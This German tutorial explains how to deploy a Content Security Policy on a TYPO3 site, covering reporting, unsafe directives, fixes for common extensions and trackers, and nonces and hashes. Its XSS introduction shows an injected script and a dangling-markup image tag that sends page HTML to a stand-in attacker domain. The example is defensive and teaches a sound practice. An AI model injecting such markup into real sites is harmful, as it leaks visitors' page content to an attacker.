Zum Inhalt springen
Content Security Policy

Wie man seine TYPO3-Website (nicht) mit einer Content Security Policy ruiniert

Dieser HTTP Header kann deine Website zuverlässig vor Cross-Site-Scripting schützen.

Schnellstart

Eine Content Security Policy (CSP) ist eine Whitelist aller erlaubten Ressourcen deiner Website. Dazu gehören Skripte, Styles, Bilder, Frames und mehr. Sobald die Policy vorhanden ist, werden die Webbrowser eurer Besucher alle Elemente blockieren, die nicht im CSP-Header eurer Website aufgeführt sind.

Dieser HTTP Security Header stellt euch eine ganze Reihe verschiedener Direktiven zur Verfügung. Damit könnt ihr zulässige Quellen für jeden Ressourcen-Typ individuell festlegen.

Dieses Tutorial wird nicht jede Direktive erklären (das Mozilla Developer Network ist hierfür ein hervorragendes Nachschlagewerk), sondern euch stattdessen einen ersten Überblick verschaffen:

  • Worum geht es?
  • Wie fängt man an?
  • Wie überwacht man etwaige Probleme?
  • Welche technischen Änderungen werden auf einer Website notwendig – generell und im Hinblick auf TYPO3 CMS?
  • Wo könnt ihr weiterführende Informationen finden?

Lasst uns anfangen!

Warum du eine Content Security Policy (CSP) einrichten solltest

Obwohl der CSP Header auch andere Funktionen bietet, besteht seine Hauptaufgabe im Verhindern von Cross-Site-Scripting (XSS). Laut den OWASP Top 10 ist XSS die zweithäufigste Sicherheitslücke in Webanwendungen. Verwendet wird es häufig für Phishing, das Kapern von Benutzer-Sessions, das Erfassen von Tastatureingaben und anderer Angriffe. Ziel der XSS-Angriffe ist also der Besucher einer Website.

Eine Webanwendung oder ein Plugin ist dann anfällig für XSS, wenn es Benutzereingaben nicht sauber validiert oder maskiert. Es gibt drei Arten von Cross-Site-Scripting (reflektiert, persistent und DOM-basiert). Kurz gesagt, können Angreifer eine Sicherheitslücke nutzen, um verschiedensten Schadcode in den HTML-Code deiner Website einzufügen:

<script>
doEvilStuff();
</script>

<img src="sinister-domain.com/capture?the-following-html=

Mit XSS kann ein Angreifer also schädlichen Inline-Code einschleusen, möglicherweise mit Links zu externen Quellen.

Daher wird eine strenge und wirksame Content Security Policy alle Inline-Styles und -Skripte blockieren und die Verwendung externer Quellen beschränken.

CSP-Versionen und Browserkompatibilität

Die erste Version des HTTP Security Headers Content-Security-Policy wurde bereits im Jahr 2013 eingeführt. Jeder gängige Browser unterstützt diesen Header, mit Ausnahme des veralteten Internet Explorer. Im Jahr 2016 erweiterte Level 2 des CSP-Headers die Möglichkeiten mit neuen Direktiven. Level 3 ist aktuell ein Arbeitsentwurf.

Manche Direktiven werden noch nicht von allen Browsern unterstützt.

Du findest die Browserkompatibilität aller Direktiven in den MDN web docs.

So beginnt man mit der Einrichtung einer Content Security Policy

GitHub hat die Einrichtung ihrer eigenen CSP als eine Reise bezeichnet. Das ist eine recht treffende Beschreibung (der Blogeintrag ist sehr empfehlenswert). Du schreibst deine Content Security Policy nicht einmalig und bist dann mit dem Thema durch.

Die erste Version deines neuen CSP-Headers solltest du auf jeden Fall in einer lokalen Entwicklungsumgebung einrichten. Diese Content Security Policy sollte ebenso kurz wie streng sein. Das folgende Beispiel wird nur Ressourcen aus derselben Ursprungsadresse (Origin) erlauben (Erläuterung folgt weiter unten):

Content-Security-Policy: default-src 'self'

Anschließend kannst du die Konsole deiner Browsertools dazu verwenden, Berichte über blockierte Quellen zu prüfen. Wahrscheinlich erhältst du am Anfang recht viele Meldungen. Keine Panik.

Manche Berichte werden sich als Falschmeldungen herausstellen. Hast du Browser-Plugins installiert? Einige davon ergänzen ebenfalls Inline-Styles. Die "Ghostery"-Erweiterung beispielsweise fügt jeder Seite eine Box hinzu, in der die Namen der gefundenen Trackingdienste aufgeführt werden.

Beginne damit, alle Inline-Styles durch Klassen zu ersetzen. Verschiebe alle Inline-Skripte in externe Dateien.

Du wirst in deiner neuen Content Security Policy einige externe Quellen ergänzen müssen, die du verwenden möchtest. Darunter fallen etwa Google Analytics, YouTube-Videos oder Ressourcen aus einem CDN.

Überprüfe deine Website weiterhin auf Meldungen in der Browserkonsole. Du musst aber nicht jede Unterseite manuell prüfen: der HTTP-Header Content-Security-Policy bietet zwei spezielle Direktiven, mit sich Berichte automatisiert an einen Endpunkt senden lassen. Der folgende Abschnitt wird diese noch näher erläutern.

Wenn du meinst, dass du alle wesentlichen Probleme beseitigt hast, kannst du die technischen Änderungen auf deiner Live-Website übernehmen.

Falls du deinen vorbereiteten CSP-Header jetzt ebenfalls liveschalten würdest, könnte er möglicherweise einzelne Funktionen deiner Website beeinträchtigen. Um das zu verhindern, kannst du den Report-Only-Modus der Content Security Policy verwenden: erweitere dazu den Namen deines HTTP-Headers von Content-Security-Policy auf Content-Security-Policy-Report-Only.

Dieser Report-Only-Header sendet dann Berichte basierend auf den eingerichteten Direktiven, wird dabei aber noch keine Ressourcen für Besucher blockieren. Vergiss nicht, dir diese Berichte an einen Endpunkt senden zu lassen.

Nachdem du eingegangene Meldungen analysiert hast, kannst du den eigentlichen Content-Security-Policy Header einführen.

Je nach (Funktions-)Umfang deiner Website kannst du dies auch in mehreren Schritten vollziehen: beginne mit einer weniger strikten Version deines CSP-Headers, ergänze gleichzeitig den Report-Only-Header mit strengeren Direktiven und lasse dir von beiden HTTP-Headern Berichte senden, um aktuelle und zukünftige Probleme zu überwachen.

Zusammengefasst:

  1. Richte einen strengen CSP-Header in deiner lokalen Entwicklungsumgebung ein.
  2. Prüfe Berichte über blockierte Quellen in deiner Browserkonsole.
  3. Ersetze alle Inline-Styles durch Klassen.
  4. Verschiebe alle Inline-Skripte in externe Dateien.
  5. Erweitere deine Content Security Policy: füge deiner Whitelist externe Quellen hinzu.
  6. Prüfe regelmäßig.
  7. Beginne auf deiner Live-Website mit dem HTTP-Header Content-Security-Policy-Report-Only. Dieser sollte Berichte über report-uri oder report-to senden.
  8. Nehme weitere Korrekturen an deiner Website und dem HTTP Header vor.
  9. Sobald alles betriebsbereit ist, kannst du den HTTP-Header Content-Security-Policy-Report-Only durch Content-Security-Policy ersetzen.
  10. Überwache weiterhin eingehende Meldungen.

Reporte erhalten (ohne Ressourcen zu blockieren)

Im letzten Abschnitt habe ich mehrfach den Header Content-Security-Policy-Report-Only erwähnt. Dieser HTTP-Header wird keine Ressourcen für eure Besucher blockieren, sodass ihr neue Direktiven bedenkenlos testen könnt. Sollte eine Quelle gegen die Richtlinie verstoßen, wird ein Bericht an den Endpunkt eurer Wahl versendet.

Ihr könnt aktuell zwischen zwei Direktiven wählen, um Berichte zu erhalten: report-uri und report-to.

Während report-uri ein JSON-Dokument an die angegebene URI sendet, verwendet report-to die kommende Reporting API der Webbrowser (noch im Versuchsstadium).

Content-Security-Policy: default-src 'self'; report-uri /my-csp-parser-script
Content-Security-Policy: default-src 'self'; report-to json-field-value

Zugunsten der neueren report-to Direktive wurde report-uri als deprecated eingestuft. Allerdings unterstützt noch kein Browser (mit Ausnahme von Chrome 70+) die neue Direktive. Du kannst report-uri derzeit problemlos verwenden.
Du könntest auch beide Direktiven einrichten, falls du möchtest – kompatible Browser werden dann die neuere Direktive verwenden und die andere ignorieren.

Ein report-uri Bericht könnte etwa so aussehen:

{
    "csp-report": {
        "document-uri": "https://www.sebkln.de/tutorials/detail/routing-in-typo3-v9-der-extbase-plugin-enhancer/",
        "effective-directive": "img-src",
        "original-policy": "default-src 'self' https://*.sebkln.de; frame-ancestors 'none'; object-src 'none'; report-uri https://sebkln.report-uri.com/r/d/csp/enforce",
        "blocked-uri": "https://www.gstatic.com/images/branding/product/2x/translate_24dp.png"
    }
}

Mir sind derzeit die folgenden Webservices für report-uri bekannt:

Bislang habe ich davon nur den ersten Service selbst genutzt.

Content-Security-Policy: default-src 'self'; report-uri https://example.report-uri.com/r/d/csp/reportOnly
Content-Security-Policy-Report-Only: default-src 'self'; frame-ancestors 'none'; object-src 'none'; report-uri https://example.report-uri.com/r/d/csp/enforce

Du kannst auch einen eigenen report-uri Endpunkt auf deinem Webserver einrichten.

Schlechte Helferlein: die Direktiven-Werte 'unsafe-inline' und 'unsafe'eval'

Das Blockieren von (potentiell schädlichem) Inline-Code ist der Hauptzweck einer Content Security Policy. Sobald du in einer Direktive 'unsafe-inline' verwendest, weil ein Inline-Code sich wirklich nicht vermeiden lässt, kann die CSP die Besucher deiner Website nicht mehr vor XSS schützen!

Für 'unsafe-eval' gilt das gleiche. JavaScript beinhaltet einige Funktionen wie eval() oder setInterval(), mit denen sich Strings als Code auswerten lassen. Falsch angewendet kann dies ein großes Sicherheitsrisiko darstellen.

Falls du eine der Funktionen verwendest, prüfe deinen Code: du kannst z.B. setInterval() mit einer anonymen Funktion oder einer Closure verwenden, um den Scope zu begrenzen.

Du solltest die Verwendung von 'unsafe-inline' und 'unsafe-eval' unbedingt vermeiden! Es hat seinen Grund, warum die Werte diese Namen tragen.

Häufige Fallstricke

Nachfolgend liste ich einige erforderliche Anpassungen für häufig verwendete Anwendungen und TYPO3-Extensions auf. Dabei setze ich voraus, dass du fundierte Kenntnisse über die Arbeit mit TYPO3 (TypoScript, Fluid) und die jeweilige Software besitzt.

Matomo (früher Piwik)

Um Matomo mit einer CSP zu verwenden, sind nur wenige Anpassungen notwendig. Stelle hierzu einen angepassten Tracking-Code in einer externen Datei bereit:

var idSite = 1;
var matomoTrackingApiUrl = 'https://www.matomo-server.com/matomo/matomo.php';

var _paq = window._paq || [];
_paq.push(['setTrackerUrl', matomoTrackingApiUrl]);
_paq.push(['setSiteId', idSite]);
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);

Du wirst außerdem einen Link zu der matomo.js deines Matomo setzen müssen:

<script src="https://www.example.org/tracking-code.js"></script>
<script src="https://www.matomo-server.com/matomo/matomo.js" async defer></script>

Ergänze dies am Ende deiner Seite und du hast keine Probleme. Falls deine Matomo-Installation unter einer anderen Ursprungsadresse (Origin) erreichbar ist, musst du diese in der script-src Direktive ergänzen.

Wahrscheinlich beinhaltet deine Datenschutzerklärung auch einen Matomo Opt-out mittels <iframe>. In dem Fall wirst du die Matomo-Origin auch in einer frame-src Direktive ergänzen müssen.

Content-Security-Policy: script-src 'self' https://www.example.org https://www.matomo-server.com; frame-src 'self' https://www.matomo-server.com

Quelle: https://matomo.org/faq/general/faq_20904/

Google Analytics

Der Tracking-Code von Google Analytics wird üblicherweise als Inline-Script im <head> Element gesetzt.

Du kannst auch dieses Skript in eine externe Datei auslagern. Im Gegensatz zu Matomo musst du dabei den existierenden Tracking-Code nicht einmal verändern.

Es gibt verschiedene Versionen des Google Tracking-Code: die als deprecated eingestufte ga.js, die aktuelle analytics.js sowie die neue gtag.js. Letztere basiert allerdings auf dem Google Tag Manager, der ein Thema für sich ist (siehe unten).

In jedem Fall wird der Tracking-Code ein Bild vom Google-Server laden, weswegen du sowohl Skripte als auch Bilder von www.google-analytics.com erlauben musst:

Content-Security-Policy: script-src https://www.google-analytics.com https://ssl.google-analytics.com; img-src https://www.google-analytics.com

Google Tag Manager

Dumm gelaufen. Der Google Tag Manager funktioniert, indem er Inline-Code in deine Website lädt. Genau das, was wir verhindern möchten.

Google selbst empfiehlt, 'unsafe-inline' und – bei der Verwendung von Custom JavaScript-Variablen – sogar 'unsafe-eval' in der eigenen Content Security Policy zu erlauben, damit der Tag Manager arbeiten kann. Na herrlich.

Falls deine Website den Google Tag Manager verwendet, ist sie für eine strenge CSP nicht geeignet.

YouTube

Wenn du YouTube-Videos auf deiner Website einbettest, werden diese als <iframe> Element eingebunden.

Du wirst daher zwei mögliche Domains von YouTube in der frame-src Direktive ergänzen müssen:

Content-Security-Policy: frame-src www.youtube.com www.youtube-nocookie.com

Formulare: Honeypot-Felder von Powermail und EXT:form

Sowohl Powermail als auch das TYPO3 Form Framework bieten ein Honeypot-Feld, um Formulare gegen Spam zu schützen.

Um das Feld vor Nutzern zu verbergen, für Spambots aber weiter erreichbar zu halten, verwenden beide Extensions Inline-Styles.

Du kannst diese Inline-Styles durch eine dafür geeignete Klasse ersetzen. Das entsprechende Fluid-Partial findest du hier:

  • EXT:powermail/Resources/Private/Partials/Misc/HoneyPod.html
  • EXT:form/Resources/Private/Frontend/Partials/Honeypot.html

Mindshape Cookie Hint (EXT:mindshape_cookie_hint)

Diese Extension wird recht häufig verwendet, um dem Besucher ein Cookie-Banner anzuzeigen. Um den Banner anzupassen, werden die Plugin-Optionen mit Inline-JavaScript ausgegeben.

Du kannst den Infotext, Button-Text und andere Optionen mittels TypoScript-Setup individualisieren. Wenn du auch einen Link zur Datenschutzerklärung gesetzt hast, wird die Extension die Optionen in etwa so ausgeben:

<script>
window.cookieconsent_options = {
    expiryDays: 365,
    learnMore: 'Weitere Informationen.',
    dismiss: 'Alles klar',
    message: ' Diese Website verwendet Cookies, um Ihnen das bestmögliche Erlebnis auf unserer Website zu ermöglichen.',
    link: '/datenschutzerklaerung/',
};
</script>

Zugunsten einer strikten CSP müssen wir diesen Inline-Code loswerden.

  1. Kopiere das fertige Inline-JavaScript in eine externe Datei und lade diese (mit TypoScript includeJSFooter).
  2. Wir möchten auch das ursprüngliche Inline-Skript entfernen. Da die Extension dieses über ein Fluid-Template ausgibt, müssen wir die Datei Templates/Main/Cookie.html in unsere Sitepackage-Extension kopieren. Vergiss nicht, den templateRootPath in deinem TypoScript zu ergänzen!

Mit diesen zwei Schritten funktioniert der Cookie-Hinweis zusammen mit unserem CSP-Header.

Da die Konfiguration mit TypoScript nun wegfällt, gibt es nun allerdings zwei Nachteile:

  • Der Link zur Datenschutzerklärung wird nicht mehr automatisch durch eine Seiten-ID in TypoScript gerendert. Falls sich die Adresse später einmal ändern sollte, muss das im JavaScript manuell angepasst werden (z.B. 'datenschutzerklaerung.html').
  • Falls du eine Website mit mehreren Frontend-Sprachen besitzt, musst du für jede Sprache ein individuelles JavaScript bereitstellen.

SVG-Dateien: Scalable vector graphics mit style-Attributen

Die Webbrowser Firefox und Edge haben bzw. hatten ein Problem mit SVG-Dateien. Wenn die Dateien in ihrem XML-Code ein Style-Attribut besitzen, wird dies vom CSP-Header als 'unsafe-inline' angesehen und blockiert. Je nach Sachlage wird das SVG-Bild dann einfach schwarz gerendert.

Dieser Bug ist in Firefox immer noch vorhanden und wurde in Edge scheinbar behoben (Stand: September 2019).

Die Lösung: Du kannst 'unsafe-inline' speziell für SVG-Dateien erlauben. Dadurch wird die Sicherheit deiner Website nicht beeinträchtigt. Einen eigenen CSP-Header für SVG-Dateien kannst du z.B. in deiner .htaccess einrichten:

<IfModule mod_headers.c>
    <FilesMatch "\.(svgz?)$">
        Header set Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; style-src 'self' 'unsafe-inline'"
    </FilesMatch>
</IfModule>

Quelle: April King – SVG + CSP: An Unappetizing Alphabet Soup

Gut zu wissen

Allgemeine Syntax

  • Alle Direktiven müssen in derselben Zeile notiert werden (keine Zeilenumbrüche erlaubt). Sie werden jeweils durch Semikolon getrennt.
  • Eine Direktive kann eine Liste mehrerer Werte enthalten. Die Werte werden durch ein Leerzeichen getrennt. Einzige Ausnahme: falls der Wert 'none' verwendet wird, sollte kein weiterer Wert folgen.
  • Einige Werte werden in einfache Anführungszeichen gesetzt, z.B. 'unsafe-inline' und 'nonce-123456'. Du findest die korrekte Schreibweise stets bei MDN.
  • Host- und Schema-Quellen (wie etwa www.example.org) werden nicht in Anführungszeichen gesetzt.

default-src

Dies ist der Fallback für die meisten der verfügbaren CSP-Direktiven. Du kannst die default-src sehr streng halten und dann weitere Direktiven ergänzen, um Regeln anzupassen.

Beachte bitte, dass default-src nur für fehlende Direktiven herangezogen wird. Wenn du z.B. eine script-src Direktive ergänzt, musst du dort alle gewünschten Quellen angeben, auch wenn einige bereits in der default-src vorhanden sind!

Beispiel:

Content-Security-Policy: default-src https://www.example.org; script-src https://www.example.org https://www.foobar.com

'self'

Wenn du 'self' in einer CSP-Direktive verwendest, werden damit Ressourcen erlaubt die dieselbe Origin besitzen wie das geladene Dokument (Website).

Content-Security-Policy: default-src 'self'

Das bedeutet, sie müssen dasselbe Protokoll (HTTP/HTTPS), denselben Host und Port (falls angegeben) besitzen.

Als Beispiel: wenn du die Website https://www.example.org öffnest – und diese Seite ein Skript von https://other.example.org verwendet – wird die Content Security Policy dieses Skript blockieren, da es von einer anderen Subdomain stammt.

Du kannst weitere Quellen in deiner Direktive erlauben und dabei auch Wildcards verwenden:

Content-Security-Policy: default-src 'self' https://*.example.org

'nonce' und 'hash' – Inline-Skripte auf sichere Art erlauben

Manchmal kann man die Verwendung von Inline-JavaScript nicht vermeiden. Die Content Security Policy wird bestimmte Inline-Skripte erlauben, wenn sie mit einer der beiden folgenden Optionen in der Whitelist genannt werden:

'nonce'

Das Inline-Skript erhält ein neues Attribut nonce, das einen zufällig generierten Wert enthält. Exakt derselbe Wert wird in der script-src Direktive der Content Security Policy ergänzt.

Der nonce-Wert muss bei jedem Laden der Seite neu generiert werden! Er muss auch unmöglich zu erraten sein. Ansonsten könnte ein Angreifer das nonce-Attribut einfach in seinem eingeschleusten Skript ergänzen.

HTTP-Header:

Content-Security-Policy: script-src 'nonce-5422a4d21b'

HTML:

<script nonce="5422a4d21b">alert("Hello world.");</script>

'hash'

Es ist auch möglich, den Hash-Wert eines Inline-Skripts in der script-src Direktive zu schreiben.

Der Hash muss mit einem Algorithmus wie sha256 aus dem Inhalt deines Inline-Skripts generiert werden. Das <script> Element selbst darf dabei nicht im Hash eingerechnet sein. Relevant ist aber der gesamte Whitespace sowie die Groß-/Kleinschreibung. Der Hash muss im CSP-Header in einfache Anführungszeichen gesetzt werden.

HTTP-Header:

Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='

HTML:

<script>var inline = 1;</script>

Das Beispiel stammt von MDN.

Dieses Feature ist für zukünftige Versionen von TYPO3 angedacht:
https://forge.typo3.org/issues/87420

Weiterführende Links

Einstieg in die Content Security Policy:

Quellen zu Cross-Site-Scripting:

Prüfung deiner HTTP Header:

Zurück